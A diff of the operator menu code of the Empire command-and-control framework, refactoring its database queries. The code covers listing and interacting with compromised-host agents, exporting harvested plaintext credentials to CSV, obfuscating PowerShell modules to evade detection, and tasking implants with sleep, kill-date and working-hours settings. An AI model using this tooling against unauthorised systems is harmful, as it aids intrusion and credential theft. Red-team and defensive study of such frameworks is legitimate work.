870 stale = helpers.is_stale(agent['lastseen_time', agent['delay'], agent['jitter']])
871
872 if not stale:
887
888 for agent in all_agents:
889 if agent.stale:
873890 # if the last checkin time exceeds the limit, remove it
874891 agentsToDisplay.append(agent)
875
892
876893 messages.display_agents(agentsToDisplay)
877
878
894
895
879896 elif line.strip() != '':
880897 # if we're listing an agents active in the last X minutes
881898 try:
882899 minutes = int(line.strip())
883
900
884901 # grab just the agents active within the specified window (in minutes)
885902 agentsToDisplay = []
886 for agent in allAgents:
887 diff = helpers.getutcnow() - agent['lastseen_time']
903 for agent in all_agents:
904 diff = helpers.getutcnow() - agent.lastseen_time
888905 too_old = diff.total_seconds() > int(minutes) * 60
889906
890907 if not too_old:
891908 agentsToDisplay.append(agent)
892
909
893910 messages.display_agents(agentsToDisplay)
894
911
895912 except Exception:
896913 print(helpers.color("[!] Please enter the minute window for agent checkin."))
897
914
898915 else:
899 messages.display_agents(allAgents)
900
901
916 messages.display_agents(all_agents)
917
918
902919 elif parts[0].lower() == 'listeners':
903920 messages.display_listeners(self.listeners.activeListeners)
904921 messages.display_listeners(self.listeners.get_inactive_listeners(), "Inactive")
905
906
922
907923 def do_interact(self, line):
908924 "Interact with a particular agent."
909
925
910926 name = line.strip()
911
927
912928 sessionID = self.agents.get_agent_id_db(name)
913929 if sessionID and sessionID != '' and sessionID in self.agents.agents:
914930 AgentMenu(self, sessionID)
915931 else:
916932 print(helpers.color("[!] Please enter a valid agent name"))
917
933
918934 def do_preobfuscate(self, line):
919935 "Preobfuscate PowerShell module_source files"
920
936
921937 if not helpers.is_powershell_installed():
922 print(helpers.color("[!] PowerShell is not installed and is required to use obfuscation, please install it first."))
938 print(helpers.color(
939 "[!] PowerShell is not installed and is required to use obfuscation, please install it first."))
923940 return
924
941
925942 module = line.strip()
926943 obfuscate_all = False
927944 obfuscate_confirmation = False
928945 reobfuscate = False
929
946
930947 # Preobfuscate ALL module_source files
931948 if module == "" or module == "all":
932 choice = input(helpers.color("[>] Preobfuscate all PowerShell module_source files using obfuscation command: \"" + self.obfuscateCommand + "\"?\nThis may take a substantial amount of time. [y/N] ", "red"))
949 choice = input(helpers.color(
950 "[>] Preobfuscate all PowerShell module_source files using obfuscation command: \"" + self.obfuscateCommand + "\"?\nThis may take a substantial amount of time. [y/N] ",
951 "red"))
933952 if choice.lower() != "" and choice.lower()[0] == "y":
934953 obfuscate_all = True
935954 obfuscate_confirmation = True
936955 choice = input(helpers.color("[>] Force reobfuscation of previously obfuscated modules? [y/N] ", "red"))
937956 if choice.lower() != "" and choice.lower()[0] == "y":
938957 reobfuscate = True
939
958
940959 # Preobfuscate a selected module_source file
941960 else:
942 module_source_fullpath = self.installPath + 'data/module_source/' + module
961 module_source_fullpath = self.installPath + '/data/module_source/' + module
943962 if not os.path.isfile(module_source_fullpath):
944963 print(helpers.color("[!] The module_source file:" + module_source_fullpath + " does not exist."))
945964 return
946
947 choice = input(helpers.color("[>] Preobfuscate the module_source file: " + module + " using obfuscation command: \"" + self.obfuscateCommand + "\"? [y/N] ", "red"))
965
966 choice = input(helpers.color(
967 "[>] Preobfuscate the module_source file: " + module + " using obfuscation command: \"" + self.obfuscateCommand + "\"? [y/N] ",
968 "red"))
948969 if choice.lower() != "" and choice.lower()[0] == "y":
949970 obfuscate_confirmation = True
950971 choice = input(helpers.color("[>] Force reobfuscation of previously obfuscated modules? [y/N] ", "red"))
951972 if choice.lower() != "" and choice.lower()[0] == "y":
952973 reobfuscate = True
953
974
954975 # Perform obfuscation
955976 if obfuscate_confirmation:
956977 if obfuscate_all:
957978 files = [file for file in helpers.get_module_source_files()]
958979 else:
959 files = ['data/module_source/' + module]
980 files = ['/data/module_source/' + module]
960981 for file in files:
961 file = self.installPath + file
982 file = self.installPath + '/' + file
962983 if reobfuscate or not helpers.is_obfuscated(file):
963984 message = "[*] Obfuscating {}...".format(os.path.basename(file))
964985 signal = json.dumps({
968989 })
969990 dispatcher.send(signal, sender="empire")
970991 else:
971 print(helpers.color("[*] " + os.path.basename(file) + " was already obfuscated. Not reobfuscating."))
992 print(
993 helpers.color("[*] " + os.path.basename(file) + " was already obfuscated. Not reobfuscating."))
972994 helpers.obfuscate_module(file, self.obfuscateCommand, reobfuscate)
973
995
974996 def do_report(self, line):
975 "Produce report CSV and log files: sessions.csv, credentials.csv, master.log"
976 conn = self.get_db_connection()
997 """
998 Produce report CSV and log files: sessions.csv, credentials.csv, master.log
999 """
1000 rows = Session().query(models.Agent.session_id, models.Agent.hostname, models.Agent.username,
1001 models.Agent.checkin_time).all()
1002
1003 print(helpers.color("[*] Writing data/sessions.csv"))
9771004 try:
9781005 self.lock.acquire()
979
980 # Agents CSV
981 cur = conn.cursor()
982 cur.execute('select session_id, hostname, username, checkin_time from agents')
983
984 rows = cur.fetchall()
985 print(helpers.color("[*] Writing data/sessions.csv"))
986 f = open('data/sessions.csv','w')
1006 f = open('data/sessions.csv', 'w')
9871007 f.write("SessionID, Hostname, User Name, First Check-in\n")
9881008 for row in rows:
989 f.write(row[0]+ ','+ row[1]+ ','+ row[2]+ ','+ row[3]+'\n')
1009 f.write(row[0] + ',' + row[1] + ',' + row[2] + ',' + str(row[3]) + '\n')
9901010 f.close()
991
992 # Credentials CSV
993 cur.execute("""
994 SELECT
995 domain
996 ,username
997 ,host
998 ,credtype
999 ,password
1000 FROM
1001 credentials
1002 ORDER BY
1003 domain
1004 ,credtype
1005 ,host
1006 """)
1007
1008 rows = cur.fetchall()
1009 print(helpers.color("[*] Writing data/credentials.csv"))
1010 f = open('data/credentials.csv','w')
1011 finally:
1012 self.lock.release()
1013
1014 # Credentials CSV
1015 rows = Session().query(models.Credential.domain,
1016 models.Credential.username,
1017 models.Credential.host,
1018 models.Credential.credtype,
1019 models.Credential.password)\
1020 .order_by(models.Credential.domain, models.Credential.credtype, models.Credential.host)\
1021 .all()
1022
1023 print(helpers.color("[*] Writing data/credentials.csv"))
1024 try:
1025 self.lock.acquire()
1026 f = open('data/credentials.csv', 'w')
10111027 f.write('Domain, Username, Host, Cred Type, Password\n')
10121028 for row in rows:
1029 # todo vr maybe can replace with
1030 # f.write(f'{row.domain},{row.username},{row.host},{row.credtype},{row.password}\n')
10131031 row = list(row)
10141032 for n in range(len(row)):
10151033 if isinstance(row[n], bytes):
10161034 row[n] = row[n].decode('UTF-8')
1017 f.write(row[0]+ ','+ row[1]+ ','+ row[2]+ ','+ row[3]+ ','+ row[4]+'\n')
1035 f.write(row[0] + ',' + row[1] + ',' + row[2] + ',' + row[3] + ',' + row[4] + '\n')
10181036 f.close()
1019
1020 # Empire Log
1021 cur.execute("""
1022 SELECT
1023 reporting.timestamp,
1024 event_type,
1025 u.username,
1026 substr(reporting.name, pos+1) as agent_name,
1027 a.hostname,
1028 taskID,
1029 t.data as "Task",
1030 r.data as "Results"
1031 FROM
1032 (
1033 SELECT
1034 timestamp,
1035 event_type,
1036 name,
1037 instr(name, '/') as pos,
1038 taskID
1039 FROM reporting
1040 WHERE name LIKE 'agent%'
1041 AND reporting.event_type == 'task' OR reporting.event_type == 'checkin') reporting
1042 LEFT OUTER JOIN taskings t on (reporting.taskID = t.id) AND (agent_name = t.agent)
1043 LEFT OUTER JOIN results r on (reporting.taskID = r.id) AND (agent_name = r.agent)
1044 JOIN agents a on agent_name = a.session_id
1045 LEFT OUTER JOIN users u on t.user_id = u.id
1046 """)
1047 rows = cur.fetchall()
1048 print(helpers.color("[*] Writing data/master.log"))
1037 finally:
1038 self.lock.release()
1039
1040 # Empire Log
1041 rows = self.run_report_query()
1042
1043 print(helpers.color("[*] Writing data/master.log"))
1044 try:
1045 self.lock.acquire()
10491046 f = open('data/master.log', 'w')
10501047 f.write('Empire Master Taskings & Results Log by timestamp\n')
1051 f.write('='*50 + '\n\n')
1048 f.write('=' * 50 + '\n\n')
10521049 for row in rows:
1050 # todo vr maybe can replace with
1051 # f.write(f'\n{xstr(row.timestamp)} - {xstr(row.username)} ({xstr(row.username)})> {xstr(row.hostname)}\n{xstr(row.taskID)}\n{xstr(row.results)}\n')
10531052 row = list(row)
10541053 for n in range(len(row)):
10551054 if isinstance(row[n], bytes):
10561055 row[n] = row[n].decode('UTF-8')
1057 f.write('\n' + xstr(row[0]) + ' - ' + xstr(row[3]) + ' (' + xstr(row[2]) + ')> ' + xstr(row[5]) + '\n' + xstr(row[6]) + '\n' + xstr(row[7]) + '\n')
1056 f.write('\n' + xstr(row[0]) + ' - ' + xstr(row[3]) + ' (' + xstr(row[2]) + ')> ' + xstr(
1057 row[5]) + '\n' + xstr(row[6]) + '\n' + xstr(row[7]) + '\n')
10581058 f.close()
1059 cur.close()
10601059 finally:
10611060 self.lock.release()
10621061
1062 def substring(self, session, column, delimeter):
1063 """
1064 https://stackoverflow.com/a/57763081
1065 """
1066 if session.bind.dialect.name == 'sqlite':
1067 return func.substr(column, func.instr(column, delimeter) + 1)
1068 elif session.bind.dialect.name == 'mysql':
1069 return func.substring_index(column, delimeter, -1)
1070
1071 def run_report_query(self):
1072 reporting_sub_query = Session()\
1073 .query(models.Reporting, self.substring(Session(), models.Reporting.name, '/').label('agent_name'))\
1074 .filter(and_(models.Reporting.name.ilike('agent%'),
1075 or_(models.Reporting.event_type == 'task',
1076 models.Reporting.event_type == 'checkin')))\
1077 .subquery()
1078
1079 return Session()\
1080 .query(reporting_sub_query.c.timestamp,
1081 reporting_sub_query.c.event_type,
1082 reporting_sub_query.c.agent_name,
1083 reporting_sub_query.c.taskID,
1084 models.Agent.hostname,
1085 models.User.username,
1086 models.Tasking.data.label('task'),
1087 models.Result.data.label('results'))\
1088 .join(models.Tasking, and_(models.Tasking.id == reporting_sub_query.c.taskID,
1089 models.Tasking.agent == reporting_sub_query.c.agent_name), isouter=True)\
1090 .join(models.Result, and_(models.Result.id == reporting_sub_query.c.taskID,
1091 models.Result.agent == reporting_sub_query.c.agent_name), isouter=True)\
1092 .join(models.User, models.User.id == models.Tasking.user_id, isouter=True)\
1093 .join(models.Agent, models.Agent.session_id == reporting_sub_query.c.agent_name, isouter=True)\
1094 .all()
1095
10631096 def complete_usemodule(self, text, line, begidx, endidx, language=None):
10641097 "Tab-complete an Empire module path."
1065
1098
10661099 module_names = list(self.modules.modules.keys())
10671100 module_names = [x for x in module_names if self.modules.modules[x].enabled]
10681101 # suffix each module requiring elevated context with '*'
10691102 for module_name in module_names:
10701103 try:
10711104 if self.modules.modules[module_name].info['NeedsAdmin']:
1072 module_names[module_names.index(module_name)] = (module_name+"*")
1105 module_names[module_names.index(module_name)] = (module_name + "*")
10731106 # handle modules without a NeedAdmins info key
10741107 except KeyError:
10751108 pass
1076
1109
10771110 if language:
1078 module_names = [ (module_name[len(language)+1:]) for module_name in module_names if module_name.startswith(language)]
1079
1111 module_names = [(module_name[len(language) + 1:]) for module_name in module_names if
1112 module_name.startswith(language)]
1113
10801114 mline = line.partition(' ')[2]
1081
1115
10821116 offs = len(mline) - len(text)
1083
1117
10841118 module_names = [s[offs:] for s in module_names if s.startswith(mline)]
10851119
1086
10871120 return module_names
1088
1089
1121
10901122 def complete_reload(self, text, line, begidx, endidx):
10911123 "Tab-complete an Empire PowerShell module path."
1092
1124
10931125 module_names = list(self.modules.modules.keys()) + ["all"]
1094
1126
10951127 mline = line.partition(' ')[2]
10961128 offs = len(mline) - len(text)
10971129 return [s[offs:] for s in module_names if s.startswith(mline)]
1098
1099
1130
11001131 def complete_usestager(self, text, line, begidx, endidx):
11011132 "Tab-complete an Empire stager module path."
1102
1133
11031134 stagerNames = list(self.stagers.stagers.keys())
1104
1135
11051136 if line.split(' ')[1].lower() in stagerNames:
11061137 listenerNames = self.listeners.get_listener_names()
11071138 endLine = ' '.join(line.split(' ')[1:])
11241155
11251156 def complete_setlist(self, text, line, begidx, endidx):
11261157 "Tab-complete a global list option"
1127
1158
11281159 options = ["listeners", "agents"]
1129
1160
11301161 if line.split(' ')[1].lower() in options:
11311162 return helpers.complete_path(text, line, arg=True)
1132
1163
11331164 mline = line.partition(' ')[2]
11341165 offs = len(mline) - len(text)
11351166 return [s[offs:] for s in options if s.startswith(mline)]
1136
1167
11371168 def complete_set(self, text, line, begidx, endidx):
11381169 "Tab-complete a global option."
1139
1170
11401171 options = ["ip_whitelist", "ip_blacklist", "obfuscate", "obfuscate_command"]
1141
1172
11421173 if line.split(' ')[1].lower() in options:
11431174 return helpers.complete_path(text, line, arg=True)
1144
1175
11451176 mline = line.partition(' ')[2]
11461177 offs = len(mline) - len(text)
11471178 return [s[offs:] for s in options if s.startswith(mline)]
1148
1149
1179
11501180 def complete_load(self, text, line, begidx, endidx):
11511181 "Tab-complete a module load path."
11521182 return helpers.complete_path(text, line)
1153
1154
1183
11551184 def complete_reset(self, text, line, begidx, endidx):
11561185 "Tab-complete a global option."
1157
1186
11581187 return self.complete_set(text, line, begidx, endidx)
1159
1160
1188
11611189 def complete_show(self, text, line, begidx, endidx):
11621190 "Tab-complete a global option."
1163
1191
11641192 return self.complete_set(text, line, begidx, endidx)
1165
1166
1193
11671194 def complete_creds(self, text, line, begidx, endidx):
11681195 "Tab-complete 'creds' commands."
1169
1196
11701197 commands = ["add", "remove", "export", "hash", "plaintext", "krbtgt"]
1171
1198
11721199 mline = line.partition(' ')[2]
11731200 offs = len(mline) - len(text)
11741201 return [s[offs:] for s in commands if s.startswith(mline)]
1175
1202
11761203 def complete_interact(self, text, line, begidx, endidx):
11771204 "Tab-complete an interact command"
1178
1205
11791206 names = self.agents.get_agent_names_db()
11801207 mline = line.partition(' ')[2]
11811208 offs = len(mline) - len(text)
11821209 return [s[offs:] for s in names if s.startswith(mline)]
1183
1210
11841211 def complete_list(self, text, line, begidx, endidx):
11851212 "Tab-complete list"
1186
1213
11871214 return self.complete_setlist(text, line, begidx, endidx)
1188
1215
11891216 def complete_preobfuscate(self, text, line, begidx, endidx):
11901217 "Tab-complete an interact command"
1191 options = [ (option[len('data/module_source/'):]) for option in helpers.get_module_source_files() ]
1218 options = [(option[len('/data/module_source/'):]) for option in helpers.get_module_source_files()]
11921219 options.append('all')
1193
1220
11941221 mline = line.partition(' ')[2]
11951222 offs = len(mline) - len(text)
11961223 return [s[offs:] for s in options if s.startswith(mline)]
11971224
1225
11981226 class SubMenu(cmd.Cmd):
1199
1227
12001228 def __init__(self, mainMenu):
12011229 cmd.Cmd.__init__(self)
12021230 self.mainMenu = mainMenu
1203
1231
12041232 def cmdloop(self):
12051233 if len(self.mainMenu.resourceQueue) > 0:
12061234 self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
12071235 cmd.Cmd.cmdloop(self)
1208
1236
12091237 def emptyline(self):
12101238 pass
12111239
12211249 def do_back(self, line):
12221250 "Go back a menu."
12231251 return True
1224
1252
12251253 def do_listeners(self, line):
12261254 "Jump to the listeners menu."
12271255 raise NavListeners()
1228
1256
12291257 def do_agents(self, line):
12301258 "Jump to the agents menu."
12311259 raise NavAgents()
1232
1260
12331261 def do_main(self, line):
12341262 "Go back to the main menu."
12351263 raise NavMain()
1236
1264
12371265 def do_resource(self, arg):
12381266 "Read and execute a list of Empire commands from a file."
12391267 self.mainMenu.resourceQueue.extend(self.mainMenu.buildQueue(arg))
1240
1268
12411269 def do_exit(self, line):
12421270 "Exit Empire."
12431271 raise KeyboardInterrupt
1244
1272
12451273 def do_creds(self, line):
12461274 "Display/return credentials from the database."
12471275 self.mainMenu.do_creds(line)
1248
1276
12491277 # print a nicely formatted help menu
12501278 # stolen/adapted from recon-ng
12511279 def print_topics(self, header, commands, cmdlen, maxcol):
12571285 self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
12581286 self.stdout.write("\n")
12591287
1288
12601289 # def preloop(self):
12611290 # traceback.print_stack()
12621291
12641293 """
12651294 The main class used by Empire to drive the 'agents' menu.
12661295 """
1296
12671297 def __init__(self, mainMenu):
12681298 SubMenu.__init__(self, mainMenu)
1269
1299
12701300 self.doc_header = 'Commands'
1271
1301
12721302 # set the prompt text
12731303 self.prompt = '(Empire: ' + helpers.color("agents", color="blue") + ') > '
1274
1304
12751305 messages.display_agents(self.mainMenu.agents.get_agents_db())
1276
1306
12771307 def do_back(self, line):
12781308 "Go back to the main menu."
12791309 raise NavMain()
1280
1310
12811311 def do_autorun(self, line):
12821312 "Read and execute a list of Empire commands from a file and execute on each new agent \"autorun <resource file> <agent language>\" e.g. \"autorun /root/ps.rc powershell\". Or clear any autorun setting with \"autorun clear\" and show current autorun settings with \"autorun show\""
12831313 line = line.strip()
12841314 if not line:
1285 print(helpers.color("[!] You must specify a resource file, show or clear. e.g. 'autorun /root/res.rc powershell' or 'autorun clear'"))
1315 print(helpers.color(
1316 "[!] You must specify a resource file, show or clear. e.g. 'autorun /root/res.rc powershell' or 'autorun clear'"))
12861317 return
12871318 cmds = line.split(' ')
12881319 resourceFile = cmds[0]
12901321 if len(cmds) > 1:
12911322 language = cmds[1].lower()
12921323 elif not resourceFile == "show" and not resourceFile == "clear":
1293 print(helpers.color("[!] You must specify the agent language to run this module on. e.g. 'autorun /root/res.rc powershell' or 'autorun /root/res.rc python'"))
1324 print(helpers.color(
1325 "[!] You must specify the agent language to run this module on. e.g. 'autorun /root/res.rc powershell' or 'autorun /root/res.rc python'"))
12941326 return
1295 #show the current autorun settings by language or all
1327 # show the current autorun settings by language or all
12961328 if resourceFile == "show":
12971329 if language:
12981330 if language in self.mainMenu.autoRuns:
13011333 print("No autorun commands for language %s" % language)
13021334 else:
13031335 print(self.mainMenu.autoRuns)
1304 #clear autorun settings by language or all
1336 # clear autorun settings by language or all
13051337 elif resourceFile == "clear":
13061338 if language and not language == "all":
13071339 if language in self.mainMenu.autoRuns:
13091341 else:
13101342 print("No autorun commands for language %s" % language)
13111343 else:
1312 #clear all autoruns
1344 # clear all autoruns
13131345 self.mainMenu.autoRuns.clear()
1314 #read in empire commands from the specified resource file
1346 # read in empire commands from the specified resource file
13151347 else:
13161348 self.mainMenu.autoRuns[language] = self.mainMenu.buildQueue(resourceFile, True)
1317
1318
1349
13191350 def do_list(self, line):
13201351 "Lists all active agents (or listeners)."
1321
1352
13221353 if line.lower().startswith("listeners"):
13231354 self.mainMenu.do_list("listeners " + str(' '.join(line.split(' ')[1:])))
13241355 elif line.lower().startswith("agents"):
13251356 self.mainMenu.do_list("agents " + str(' '.join(line.split(' ')[1:])))
13261357 else:
13271358 self.mainMenu.do_list("agents " + str(line))
1328
1359
13291360 def do_rename(self, line):
13301361 "Rename a particular agent."
1331
1362
13321363 parts = line.strip().split(' ')
1333
1364
13341365 # name sure we get an old name and new name for the agent
13351366 if len(parts) == 2:
13361367 # replace the old name with the new name
13371368 self.mainMenu.agents.rename_agent(parts[0], parts[1])
13381369 else:
13391370 print(helpers.color("[!] Please enter an agent name and new name"))
1340
1341
1371
13421372 def do_interact(self, line):
13431373 "Interact with a particular agent."
1344
1374
13451375 name = line.strip()
1346
1376
13471377 sessionID = self.mainMenu.agents.get_agent_id_db(name)
1348
1378
13491379 if sessionID and sessionID != '' and sessionID in self.mainMenu.agents.agents:
13501380 AgentMenu(self.mainMenu, sessionID)
13511381 else:
13521382 print(helpers.color("[!] Please enter a valid agent name"))
1353
1354
1383
13551384 def do_kill(self, line):
13561385 "Task one or more agents to exit."
1357
1386
13581387 name = line.strip()
1359
1388
13601389 if name.lower() == 'all':
13611390 try:
13621391 choice = input(helpers.color('[>] Kill all agents? [y/N] ', 'red'))
13671396 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_EXIT')
13681397 except KeyboardInterrupt:
13691398 print('')
1370
1399
13711400 else:
13721401 # extract the sessionID and clear the agent tasking
13731402 sessionID = self.mainMenu.agents.get_agent_id_db(name)
1374
1403
13751404 if sessionID and len(sessionID) != 0:
13761405 try:
13771406 choice = input(helpers.color("[>] Kill agent '%s'? [y/N] " % (name), 'red'))
13811410 print('')
13821411 else:
13831412 print(helpers.color("[!] Invalid agent name"))
1384
1413
13851414 def do_clear(self, line):
13861415 "Clear one or more agent's taskings."
1387
1416
13881417 name = line.strip()
1389
1418
13901419 if name.lower() == 'all':
13911420 self.mainMenu.agents.clear_agent_tasks_db('all')
13921421 elif name.lower() == 'autorun':
13941423 else:
13951424 # extract the sessionID and clear the agent tasking
13961425 sessionID = self.mainMenu.agents.get_agent_id_db(name)
1397
1426
13981427 if sessionID and len(sessionID) != 0:
13991428 self.mainMenu.agents.clear_agent_tasks_db(sessionID)
14001429 else:
14011430 print(helpers.color("[!] Invalid agent name"))
1402
1403
1431
14041432 def do_sleep(self, line):
14051433 "Task one or more agents to 'sleep [agent/all] interval [jitter]'"
1406
1434
14071435 parts = line.strip().split(' ')
1408
1436
14091437 if len(parts) == 1:
14101438 print(helpers.color("[!] Please enter 'interval [jitter]'"))
1411
1439
14121440 elif parts[0].lower() == 'all':
14131441 delay = parts[1]
14141442 jitter = 0.0
14151443 if len(parts) == 3:
14161444 jitter = parts[2]
1417
1445
14181446 allAgents = self.mainMenu.agents.get_agents_db()
1419
1447
14201448 for agent in allAgents:
14211449 sessionID = agent['session_id']
14221450 # update this agent info in the database
14231451 self.mainMenu.agents.set_agent_field_db('delay', delay, sessionID)
14241452 self.mainMenu.agents.set_agent_field_db('jitter', jitter, sessionID)
14251453 # task the agent
1426 self.mainMenu.agents.add_agent_task_db(sessionID,'TASK_SHELL', 'Set-Delay ' + str(delay) + ' ' + str(jitter))
1427
1454 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL',
1455 'Set-Delay ' + str(delay) + ' ' + str(jitter))
1456
14281457 # dispatch this event
14291458 message = "[*] Tasked agent to delay sleep/jitter {}/{}".format(delay, jitter)
14301459 signal = json.dumps({
14321461 'message': message
14331462 })
14341463 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1435
1464
14361465 # update the agent log
14371466 msg = "Tasked agent to delay sleep/jitter %s/%s" % (delay, jitter)
14381467 self.mainMenu.agents.save_agent_log(sessionID, msg)
1439
1468
14401469 else:
14411470 # extract the sessionID and clear the agent tasking
14421471 sessionID = self.mainMenu.agents.get_agent_id_db(parts[0])
1443
1472
14441473 delay = parts[1]
14451474 jitter = 0.0
14461475 if len(parts) == 3:
14471476 jitter = parts[2]
1448
1477
14491478 if sessionID and len(sessionID) != 0:
14501479 # update this agent's information in the database
14511480 self.mainMenu.agents.set_agent_field_db('delay', delay, sessionID)
14521481 self.mainMenu.agents.set_agent_field_db('jitter', jitter, sessionID)
14531482
1454 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', 'Set-Delay ' + str(delay) + ' ' + str(jitter))
1455
1483 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL',
1484 'Set-Delay ' + str(delay) + ' ' + str(jitter))
1485
14561486 # dispatch this event
14571487 message = "[*] Tasked agent to delay sleep/jitter {}/{}".format(delay, jitter)
14581488 signal = json.dumps({
14601490 'message': message
14611491 })
14621492 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1463
1493
14641494 # update the agent log
14651495 msg = "Tasked agent to delay sleep/jitter %s/%s" % (delay, jitter)
14661496 self.mainMenu.agents.save_agent_log(sessionID, msg)
1467
1497
14681498 else:
14691499 print(helpers.color("[!] Invalid agent name"))
1470
1471
1500
14721501 def do_lostlimit(self, line):
14731502 "Task one or more agents to 'lostlimit [agent/all] [number of missed callbacks] '"
1474
1503
14751504 parts = line.strip().split(' ')
1476
1505
14771506 if len(parts) == 1:
14781507 print(helpers.color("[!] Usage: 'lostlimit [agent/all] [number of missed callbacks]"))
1479
1508
14801509 elif parts[0].lower() == 'all':
14811510 lostLimit = parts[1]
14821511 allAgents = self.mainMenu.agents.get_agents_db()
1483
1512
14841513 for agent in allAgents:
14851514 sessionID = agent['session_id']
14861515 # update this agent info in the database
14871516 self.mainMenu.agents.set_agent_field_db('lost_limit', lostLimit, sessionID)
14881517 # task the agent
14891518 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', 'Set-LostLimit ' + str(lostLimit))
1490
1519
14911520 # dispatch this event
14921521 message = "[*] Tasked agent to change lost limit {}".format(lostLimit)
14931522 signal = json.dumps({
14951524 'message': message
14961525 })
14971526 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1498
1527
14991528 # update the agent log
15001529 msg = "Tasked agent to change lost limit %s" % (lostLimit)
15011530 self.mainMenu.agents.save_agent_log(sessionID, msg)
1502
1531
15031532 else:
15041533 # extract the sessionID and clear the agent tasking
15051534 sessionID = self.mainMenu.agents.get_agent_id_db(parts[0])
15061535 lostLimit = parts[1]
1507
1536
15081537 if sessionID and len(sessionID) != 0:
15091538 # update this agent's information in the database
15101539 self.mainMenu.agents.set_agent_field_db('lost_limit', lostLimit, sessionID)
1511
1540
15121541 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', 'Set-LostLimit ' + str(lostLimit))
1513
1542
15141543 # dispatch this event
15151544 message = "[*] Tasked agent to change lost limit {}".format(lostLimit)
15161545 signal = json.dumps({
15181547 'message': message
15191548 })
15201549 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1521
1550
15221551 # update the agent log
15231552 msg = "Tasked agent to change lost limit %s" % (lostLimit)
15241553 self.mainMenu.agents.save_agent_log(sessionID, msg)
1525
1554
15261555 else:
15271556 print(helpers.color("[!] Invalid agent name"))
1528
1529
1557
15301558 def do_killdate(self, line):
15311559 "Set the killdate for one or more agents (killdate [agent/all] 01/01/2016)."
1532
1560
15331561 parts = line.strip().split(' ')
1534
1562
15351563 if len(parts) == 1:
15361564 print(helpers.color("[!] Usage: 'killdate [agent/all] [01/01/2016]'"))
1537
1565
15381566 elif parts[0].lower() == 'all':
15391567 date = parts[1]
1540
1568
15411569 allAgents = self.mainMenu.agents.get_agents_db()
1542
1570
15431571 for agent in allAgents:
15441572 sessionID = agent['session_id']
15451573 # update this agent's field in the database
15461574 self.mainMenu.agents.set_agent_field_db('kill_date', date, sessionID)
15471575 # task the agent
15481576 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', "Set-KillDate " + str(date))
1549
1577
15501578 # dispatch this event
15511579 message = "[*] Tasked agent to set killdate to {}".format(date)
15521580 signal = json.dumps({
15541582 'message': message
15551583 })
15561584 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1557
1585
15581586 # update the agent log
15591587 msg = "Tasked agent to set killdate to " + str(date)
15601588 self.mainMenu.agents.save_agent_log(sessionID, msg)
1561
1589
15621590 else:
15631591 # extract the sessionID and clear the agent tasking
15641592 sessionID = self.mainMenu.agents.get_agent_id_db(parts[0])
15651593 date = parts[1]
1566
1594
15671595 if sessionID and len(sessionID) != 0:
15681596 # update this agent's field in the database
15691597 self.mainMenu.agents.set_agent_field_db('kill_date', date, sessionID)
15701598 # task the agent
15711599 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', "Set-KillDate " + str(date))
1572
1600
15731601 # dispatch this event
15741602 message = "[*] Tasked agent to set killdate to {}".format(date)
15751603 signal = json.dumps({
15771605 'message': message
15781606 })
15791607 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1580
1608
15811609 # update the agent log
15821610 msg = "Tasked agent to set killdate to " + str(date)
15831611 self.mainMenu.agents.save_agent_log(sessionID, msg)
1584
1612
15851613 else:
15861614 print(helpers.color("[!] Invalid agent name"))
1587
1588
1615
15891616 def do_workinghours(self, line):
15901617 "Set the workinghours for one or more agents (workinghours [agent/all] 9:00-17:00)."
1591
1618
15921619 parts = line.strip().split(' ')
1593
1620
15941621 if len(parts) == 1:
15951622 print(helpers.color("[!] Usage: 'workinghours [agent/all] [9:00-17:00]'"))
1596
1623
15971624 elif parts[0].lower() == 'all':
15981625 hours = parts[1]
15991626 hours = hours.replace(',', '-')
1600
1627
16011628 allAgents = self.mainMenu.agents.get_agents_db()
1602
1629
16031630 for agent in allAgents:
16041631 sessionID = agent['session_id']
16051632 # update this agent's field in the database
16061633 self.mainMenu.agents.set_agent_field_db('working_hours', hours, sessionID)
16071634 # task the agent
16081635 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', "Set-WorkingHours " + str(hours))
1609
1636
16101637 # dispatch this event
16111638 message = "[*] Tasked agent to set working hours to {}".format(hours)
16121639 signal = json.dumps({
16141641 'message': message
16151642 })
16161643 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1617
1644
16181645 # update the agent log
16191646 msg = "Tasked agent to set working hours to %s" % (hours)
16201647 self.mainMenu.agents.save_agent_log(sessionID, msg)
1621
1648
16221649 else:
16231650 # extract the sessionID and clear the agent tasking
16241651 sessionID = self.mainMenu.agents.get_agent_id_db(parts[0])
1625
1652
16261653 hours = parts[1]
16271654 hours = hours.replace(",", "-")
1628
1655
16291656 if sessionID and len(sessionID) != 0:
16301657 # update this agent's field in the database
16311658 self.mainMenu.agents.set_agent_field_db('working_hours', hours, sessionID)
16321659 # task the agent
16331660 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', "Set-WorkingHours " + str(hours))
1634
1661
16351662 # dispatch this event
16361663 message = "[*] Tasked agent to set working hours to {}".format(hours)
16371664 signal = json.dumps({
16391666 'message': message
16401667 })
16411668 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1642
1669
16431670 # update the agent log
16441671 msg = "Tasked agent to set working hours to %s" % (hours)
16451672 self.mainMenu.agents.save_agent_log(sessionID, msg)
1646
1673
16471674 else:
16481675 print(helpers.color("[!] Invalid agent name"))
1649
1650
1676
16511677 def do_remove(self, line):
16521678 "Remove one or more agents from the database."
1653
1679
16541680 name = line.strip()
1655
1681
16561682 if name.lower() == 'all':
16571683 try:
16581684 choice = input(helpers.color('[>] Remove all agents from the database? [y/N] ', 'red'))
16601686 self.mainMenu.agents.remove_agent_db('%')
